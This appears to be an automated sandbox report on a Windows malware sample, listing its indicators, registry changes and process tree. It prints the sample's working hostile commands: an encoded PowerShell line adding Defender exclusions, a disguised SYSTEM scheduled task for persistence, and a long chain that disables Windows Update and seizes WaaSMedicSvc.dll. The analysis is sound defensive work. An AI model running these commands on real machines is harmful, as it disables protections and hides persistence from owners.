7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442

Analysis

max time kernel
269s
max time network
181s
platform
windows10_x64
resource
win10-20220414-en
submitted
27-04-2022 10:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe
Size

2.2MB
MD5

40caa9b00badca24594571e157a6d2a9
SHA1

42f2faf2aa59f38c16824eaa1dc022fddb142565
SHA256

7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442
SHA512

e8517ff311d81efe14707629f1730ca329db66b92d17ff711945ec5a0313de3cc914d59fd621bfcb907750b0947778784da191c0c6d703c92f788e61dc5e34d3

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3628 created 3788 3628 WerFault.exe DllHost.exe

description	pid	process	target process
PID 3628 created 3788	3628	WerFault.exe	DllHost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

powershell.EXEsvchost.exe

description	pid	process	target process
PID 3340 created 588	3340	powershell.EXE	winlogon.exe
PID 4192 created 3864	4192	svchost.exe	DllHost.exe
PID 4192 created 3788	4192	svchost.exe	DllHost.exe
PID 4192 created 3788	4192	svchost.exe	DllHost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

4460 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exetakeown.exe

pid process

2620 takeown.exe
4724 icacls.exe
1372 icacls.exe
3960 takeown.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exetakeown.exe

pid process

4724 icacls.exe
1372 icacls.exe
3960 takeown.exe
2620 takeown.exe

pid	process
4460	updater.exe

pid	process
2620	takeown.exe
4724	icacls.exe
1372	icacls.exe
3960	takeown.exe

pid	process
4724	icacls.exe
1372	icacls.exe
3960	takeown.exe
2620	takeown.exe

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

conhost.exepowershell.EXEconhost.exe

description	pid	process	target process
PID 2596 set thread context of 4000	2596	conhost.exe	conhost.exe
PID 3340 set thread context of 2688	3340	powershell.EXE	dllhost.exe
PID 4840 set thread context of 4152	4840	conhost.exe	conhost.exe

Drops file in Windows directory 4 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

4328 3788 WerFault.exe DllHost.exe
4288 3864 WerFault.exe DllHost.exe
3628 3788 WerFault.exe DllHost.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3388 schtasks.exe

pid	pid_target	process	target process
4328	3788	WerFault.exe	DllHost.exe
4288	3864	WerFault.exe	DllHost.exe
3628	3788	WerFault.exe	DllHost.exe

pid	process
3388	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={06C824C2-6352-4F1B-9943-A89046EC3753}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1651061788"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 27 Apr 2022 10:16:29 GMT"	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.EXEpowershell.EXEdllhost.exe

pid	process
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
2596	conhost.exe
3340	powershell.EXE
3340	powershell.EXE
3340	powershell.EXE
3764	powershell.EXE
3340	powershell.EXE
3764	powershell.EXE
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe
2688	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2152 Explorer.EXE

pid	process
2152	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.execonhost.exepowercfg.exepowershell.EXEpowershell.EXEdllhost.exesvchost.exeWerFault.exeWerFault.exeExplorer.EXEpowershell.exe

description	pid	process
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeIncreaseQuotaPrivilege	1936	powershell.exe
Token: SeSecurityPrivilege	1936	powershell.exe
Token: SeTakeOwnershipPrivilege	1936	powershell.exe
Token: SeLoadDriverPrivilege	1936	powershell.exe
Token: SeSystemProfilePrivilege	1936	powershell.exe
Token: SeSystemtimePrivilege	1936	powershell.exe
Token: SeProfSingleProcessPrivilege	1936	powershell.exe
Token: SeIncBasePriorityPrivilege	1936	powershell.exe
Token: SeCreatePagefilePrivilege	1936	powershell.exe
Token: SeBackupPrivilege	1936	powershell.exe
Token: SeRestorePrivilege	1936	powershell.exe
Token: SeShutdownPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeSystemEnvironmentPrivilege	1936	powershell.exe
Token: SeRemoteShutdownPrivilege	1936	powershell.exe
Token: SeUndockPrivilege	1936	powershell.exe
Token: SeManageVolumePrivilege	1936	powershell.exe
Token: 33	1936	powershell.exe
Token: 34	1936	powershell.exe
Token: 35	1936	powershell.exe
Token: 36	1936	powershell.exe
Token: SeShutdownPrivilege	516	powercfg.exe
Token: SeCreatePagefilePrivilege	516	powercfg.exe
Token: SeShutdownPrivilege	1636	powercfg.exe
Token: SeCreatePagefilePrivilege	1636	powercfg.exe
Token: SeShutdownPrivilege	4076	powercfg.exe
Token: SeCreatePagefilePrivilege	4076	powercfg.exe
Token: SeDebugPrivilege	2596	conhost.exe
Token: SeShutdownPrivilege	528	powercfg.exe
Token: SeCreatePagefilePrivilege	528	powercfg.exe
Token: SeDebugPrivilege	3340	powershell.EXE
Token: SeDebugPrivilege	3764	powershell.EXE
Token: SeDebugPrivilege	3340	powershell.EXE
Token: SeDebugPrivilege	2688	dllhost.exe
Token: SeAuditPrivilege	2376	svchost.exe
Token: SeDebugPrivilege	4288	WerFault.exe
Token: SeDebugPrivilege	4328	WerFault.exe
Token: SeShutdownPrivilege	2152	Explorer.EXE
Token: SeCreatePagefilePrivilege	2152	Explorer.EXE
Token: SeShutdownPrivilege	2152	Explorer.EXE
Token: SeCreatePagefilePrivilege	2152	Explorer.EXE
Token: SeShutdownPrivilege	2152	Explorer.EXE
Token: SeCreatePagefilePrivilege	2152	Explorer.EXE
Token: SeShutdownPrivilege	2152	Explorer.EXE
Token: SeCreatePagefilePrivilege	2152	Explorer.EXE
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeIncreaseQuotaPrivilege	5048	powershell.exe
Token: SeSecurityPrivilege	5048	powershell.exe
Token: SeTakeOwnershipPrivilege	5048	powershell.exe
Token: SeLoadDriverPrivilege	5048	powershell.exe
Token: SeSystemProfilePrivilege	5048	powershell.exe
Token: SeSystemtimePrivilege	5048	powershell.exe
Token: SeProfSingleProcessPrivilege	5048	powershell.exe
Token: SeIncBasePriorityPrivilege	5048	powershell.exe
Token: SeCreatePagefilePrivilege	5048	powershell.exe
Token: SeBackupPrivilege	5048	powershell.exe
Token: SeRestorePrivilege	5048	powershell.exe
Token: SeShutdownPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeSystemEnvironmentPrivilege	5048	powershell.exe
Token: SeRemoteShutdownPrivilege	5048	powershell.exe
Token: SeUndockPrivilege	5048	powershell.exe
Token: SeManageVolumePrivilege	5048	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

dwm.exe

pid process

1000 dwm.exe
1000 dwm.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Conhost.exeConhost.exe

pid process

4264 Conhost.exe
4984 Conhost.exe

pid	process
1000	dwm.exe
1000	dwm.exe

pid	process
4264	Conhost.exe
4984	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2428 wrote to memory of 2596	2428	7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe	conhost.exe
PID 2428 wrote to memory of 2596	2428	7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe	conhost.exe
PID 2428 wrote to memory of 2596	2428	7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe	conhost.exe
PID 2596 wrote to memory of 1784	2596	conhost.exe	cmd.exe
PID 2596 wrote to memory of 1784	2596	conhost.exe	cmd.exe
PID 1784 wrote to memory of 1936	1784	cmd.exe	powershell.exe
PID 1784 wrote to memory of 1936	1784	cmd.exe	powershell.exe
PID 2596 wrote to memory of 2712	2596	conhost.exe	cmd.exe
PID 2596 wrote to memory of 2712	2596	conhost.exe	cmd.exe
PID 2596 wrote to memory of 2308	2596	conhost.exe	cmd.exe
PID 2596 wrote to memory of 2308	2596	conhost.exe	cmd.exe
PID 2712 wrote to memory of 2208	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2208	2712	cmd.exe	sc.exe
PID 2308 wrote to memory of 516	2308	cmd.exe	powercfg.exe
PID 2308 wrote to memory of 516	2308	cmd.exe	powercfg.exe
PID 2712 wrote to memory of 1268	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 1268	2712	cmd.exe	sc.exe
PID 2308 wrote to memory of 1636	2308	cmd.exe	powercfg.exe
PID 2308 wrote to memory of 1636	2308	cmd.exe	powercfg.exe
PID 2712 wrote to memory of 2392	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2392	2712	cmd.exe	sc.exe
PID 2308 wrote to memory of 4076	2308	cmd.exe	powercfg.exe
PID 2308 wrote to memory of 4076	2308	cmd.exe	powercfg.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2712 wrote to memory of 872	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 872	2712	cmd.exe	sc.exe
PID 2596 wrote to memory of 4000	2596	conhost.exe	conhost.exe
PID 2308 wrote to memory of 528	2308	cmd.exe	powercfg.exe
PID 2308 wrote to memory of 528	2308	cmd.exe	powercfg.exe
PID 2712 wrote to memory of 3736	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3736	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2780	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2780	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3880	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3880	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2756	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2756	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2548	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2548	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3940	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3940	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3700	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3700	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2720	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2720	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3156	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3156	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2416	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2416	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2388	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2388	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 3960	2712	cmd.exe	takeown.exe
PID 2712 wrote to memory of 3960	2712	cmd.exe	takeown.exe
PID 2596 wrote to memory of 68	2596	conhost.exe	cmd.exe
PID 2596 wrote to memory of 68	2596	conhost.exe	cmd.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of FindShellTrayWindow
PID:1000

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{1c0d51da-f56c-47aa-aecd-18d963c32e16}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:912

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:352

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:3544

C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe
"C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\7b2d31964fa60aa56d6bf8cc332e5f0f956efef88c4632ed1522c4beef054442.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="
3⤵
- Suspicious use of WriteProcessMemory
PID:1784

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:2308

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:516

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:528

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4076

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
3⤵
PID:68

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
3⤵
- Drops file in Windows directory
PID:4000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:2712

